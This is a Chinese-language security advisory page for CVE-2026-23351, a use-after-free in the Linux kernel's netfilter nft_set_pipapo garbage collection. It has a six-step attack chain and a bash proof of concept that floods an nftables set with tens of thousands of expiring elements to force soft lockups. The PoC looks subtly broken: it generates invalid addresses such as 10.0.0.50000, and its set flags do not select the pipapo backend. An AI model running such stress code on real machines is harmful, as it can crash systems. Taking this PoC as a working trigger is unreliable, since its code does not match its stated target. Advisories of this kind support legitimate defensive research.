IPBUF安全漏洞报告
English
CVE-2026-23351 CVSS 7.8 高危

CVE-2026-23351 Linux内核netfilter释放后重用漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23351
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNetfilter释放后重用UAF本地拒绝服务CVE-2026-23351

漏洞概述

该漏洞存在于Linux内核netfilter组件的nft_set_pipapo模块中。在存在大量过期元素时,提交时的垃圾回收(GC)会在非抢占上下文中运行过长时间,触发软锁死。由于GC未正确分割解除链接和回收阶段,在指针交换前释放元素,导致并发访问时出现释放后重用(UAF),引发本地拒绝服务或内存破坏。

技术细节

漏洞源于Linux内核netfilter子系统中nft_set_pipapo的垃圾回收(GC)机制设计缺陷。当系统处理大量过期集合元素时,GC操作会在非抢占式上下文中执行很长时间,导致CPU软锁死和RCU停滞报告。核心技术问题是GC未将“解除链接”与“内存回收”两个阶段正确分离。系统在未完成数据结构的克隆副本与活动指针交换之前,就将过期元素排队释放。由于call_rcu()机制无法完全保护这一过渡期,并发的数据包查找或用户态转储操作可能仍会引用旧版本指针,从而访问到已释放的内存区域,导致Use-after-free漏洞。攻击者可借此触发内核崩溃或本地拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限访问权限。
STEP 2
步骤2
创建nftables表和pipapo类型的集合,并配置超时时间。
STEP 3
步骤3
向集合中注入大量元素,制造垃圾回收压力。
STEP 4
步骤4
等待元素过期或触发提交,迫使GC在非抢占上下文运行。
STEP 5
步骤5
并发操作访问正在被释放的内存,触发UAF。
STEP 6
步骤6
导致内核崩溃、软锁死或潜在的权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-23351: Trigger GC stress in nft_set_pipapo # This script creates a large number of elements to stress the garbage collector. TABLE="poc_table" SET="poc_set" # Clean up previous attempts nft delete table ip $TABLE 2>/dev/null # Create table and a pipapo set with timeout nft add table ip $TABLE nft add set ip $TABLE $SET { type ipv4_addr \; flags timeout \; } echo "Adding elements to trigger GC pressure..." # Add a large number of elements to induce long GC runtimes for i in $(seq 1 50000); do nft add element ip $TABLE $SET { 10.0.0.$i timeout 1s } & done wait echo "Waiting for elements to expire and GC to run..." sleep 5 # Trigger a commit or operation that interacts with the set # This might trigger the Use-after-free if timing aligns with RCU nft list set ip $TABLE $SET > /dev/null echo "PoC execution finished. Check kernel logs for soft lockups or RCU stalls."

影响范围

Linux Kernel (未指定具体版本,需参考Git提交记录)

防御指南

临时缓解措施
临时缓解措施包括严格限制本地用户权限,仅允许受信任的管理员操作nftables规则,防止恶意用户创建大量过期集合元素以触发耗时的垃圾回收操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表